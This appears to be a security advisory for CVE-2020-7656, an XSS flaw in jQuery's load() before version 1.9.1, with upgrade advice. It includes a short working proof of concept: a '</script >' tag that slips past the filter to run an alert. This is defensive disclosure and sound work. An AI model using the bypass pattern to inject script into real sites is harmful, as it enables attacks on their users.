Cross-site Scripting (XSS) Affecting jquery package, versions <1.9.1
Threat Intelligence
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- published19 May 2020
- disclosed19 May 2020
- creditRobert McLaughlin
Introduced: 19 May 2020
CVE-2020-7656 (opens in a new tab)How to fix?
Upgrade jquery to version 1.9.1 or higher.
Overview
jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). load() fails to recognize and remove "<script>" HTML tags that contain a whitespace character, i.e: "</script >" which results in the enclosed script logic to be executed. This can lead to Cross-site Scripting attacks when an attacker has control of the enclosed script.
PoC by Robert McLaughlin
index.html:
<html>
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<div id="mydiv"></div>
<script>
$("#mydiv").load('inject.html #himom');
</script>
</body>
</html>
inject.html:
<div id="himom"><script>alert('Arbitrary Code Execution');</script ></div>